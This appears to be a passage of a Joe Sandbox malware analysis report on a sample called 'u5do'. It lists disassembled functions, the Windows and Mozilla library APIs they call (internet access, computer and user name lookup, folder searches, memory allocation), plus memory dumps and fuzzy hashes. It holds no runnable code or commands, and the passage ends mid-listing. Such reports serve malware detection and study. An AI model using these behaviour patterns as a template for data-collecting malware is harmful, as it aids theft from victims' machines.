Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 4339b44bf44e1711b1606e82f21baa95871c3cb7deb69ab34985a9f8cf9ac5d6
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 4339b44bf44e1711b1606e82f21baa95871c3cb7deb69ab34985a9f8cf9ac5d6
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,04196740), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,04190848,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00415530 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction ID: 5f6283e4cb308baa7d4615cf810ff09d37e65c2d0c188b0d2e4390bfcb6d80e5
Opcode Fuzzy Hash: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction Fuzzy Hash: 4701E834904508FFCF04CF98C585BEC7BB2AF44308F648089D9056B395D3789A84DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6BCEE2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6BCEE2A6), ref: 6BCEE35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6BCEE2A6), ref: 6BCEE386
GetCurrentThreadId.KERNEL32 ref: 6BCEE3E4
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BCEE4AB
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE4F5
GetCurrentThreadId.KERNEL32 ref: 6BCEE577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE584
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCEE8A6

Part of subcall function 6BCAB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BCAB7CF
Part of subcall function 6BCAB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BCAB808

Part of subcall function 6BCFB800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6BD20FB6,00000000,?,?,6BCEE69E), ref: 6BCFB830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6BCEE6DA

Part of subcall function 6BCFB8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6BCFB916
Part of subcall function 6BCFB8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6BCFB94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BCEE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE883

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BCEE722, 6BCEE750, 6BCEE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BCEE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BCEE826, 6BCEE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BCEE655
MOZ_PROFILER_STARTUP, xrefs: 6BCEE5A1, 6BCEE5CC, 6BCEE5FF, 6BCEE62A

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: 0b59770ccb71f24a06619dc240fb11e22c0e585086c0a4f9301c05e4e490a880
Instruction ID: 0d53b80462848b931190beafd7dda5a382dfd78a3b91d2948b0f8a833fab8bdd
Opcode Fuzzy Hash: 0b59770ccb71f24a06619dc240fb11e22c0e585086c0a4f9301c05e4e490a880
Instruction Fuzzy Hash: F002D271620346DFDB50CF28C480A6AB7F5FF89354F04496DE95A8B341E738EA46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE5190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE51DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6BCE52FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BCE53F7

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6BCE56C3
__Init_thread_footer.LIBCMT ref: 6BCE56E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6BCE56BE

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 96e1231e13db6b98b21a46862e4d0d9792c407a0dcd1b25a77048a5c4b92dd21
Instruction ID: b02f9d4b6d35f78c6fd6d3fd7c1cc1d3357e2931a597034a8f6cad61a36a7488
Opcode Fuzzy Hash: 96e1231e13db6b98b21a46862e4d0d9792c407a0dcd1b25a77048a5c4b92dd21
Instruction Fuzzy Hash: 5BE18E75924F45CAC712CE34885126BF7B6BF9B380F109B4EE9AE2A150EF34E5478321

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCB9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6BD0B92D), ref: 6BCB9BC8
Part of subcall function 6BCB9B80: __Init_thread_footer.LIBCMT ref: 6BCB9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BCB03D4,?), ref: 6BD0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6BD0B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA20
RtlNtStatusToDosError.NTDLL ref: 6BD0BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA86

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: da97e3c936e7482e7853af997ead281397037dc4b243f4019849f7bd8138c2d7
Instruction ID: 9dfde8e10e2e9bb7a40df6ae22fbadb5df60f3f6eb2a816d7d8adc9eb530e58b
Opcode Fuzzy Hash: da97e3c936e7482e7853af997ead281397037dc4b243f4019849f7bd8138c2d7
Instruction Fuzzy Hash: D4519171E08219DFDF14CFA8D881ADDB7B6EF88324F144129E901BB284DB78AD419B94

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE8AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDFA80: GetCurrentThreadId.KERNEL32 ref: 6BCDFA8D
Part of subcall function 6BCDFA80: AcquireSRWLockExclusive.KERNEL32(6BD2F448), ref: 6BCDFA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8CBA
free.MOZGLUE(?), ref: 6BCE8CCF

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 52f3bac874502b76cecf1e56db05b3566a8f6f20137a5b7e46ec06e739749054
Instruction ID: e4da9c305e8ec09dd745ddfa29dd5470a4217d00efbe09f87dd9b4266d0a4d27
Opcode Fuzzy Hash: 52f3bac874502b76cecf1e56db05b3566a8f6f20137a5b7e46ec06e739749054
Instruction Fuzzy Hash: BC718E75A24B00CFD704CF29C480A1AB7F1FF99314F458A9EE9899B362E774E981CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6BCAF280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,?,00000000,?,0000001C,?), ref: 6BCAF2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6BCAF2F0
NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,0000001C,0000001C,?), ref: 6BCAF308
RtlNtStatusToDosError.NTDLL ref: 6BCAF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6BCAF371

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: d72e065e648499eae254f203abaed7d9d5f2ef9b33e68c356028f822ba140389
Instruction ID: 402ef295784a7454103cdb8a4234301250409c326548a62d03ecb3a3baba8bd4
Opcode Fuzzy Hash: d72e065e648499eae254f203abaed7d9d5f2ef9b33e68c356028f822ba140389
Instruction Fuzzy Hash: 1A219330A1234A9FEB10DA62DD45BEF77B8AB44368F044229E510DA180E7BCDA84C761

Uniqueness

Uniqueness Score: -1.00%

Function 6BD153C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BD186AE

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 43cdc17eae8b457bd877d7ed7c2ff7aa21703a07dfc69437f9dc1a04a210aa75
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: 3FC1B472A0411ACFCB14CF68DC91AEDB7B2EF85324F1902A9D549EF345D734A986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

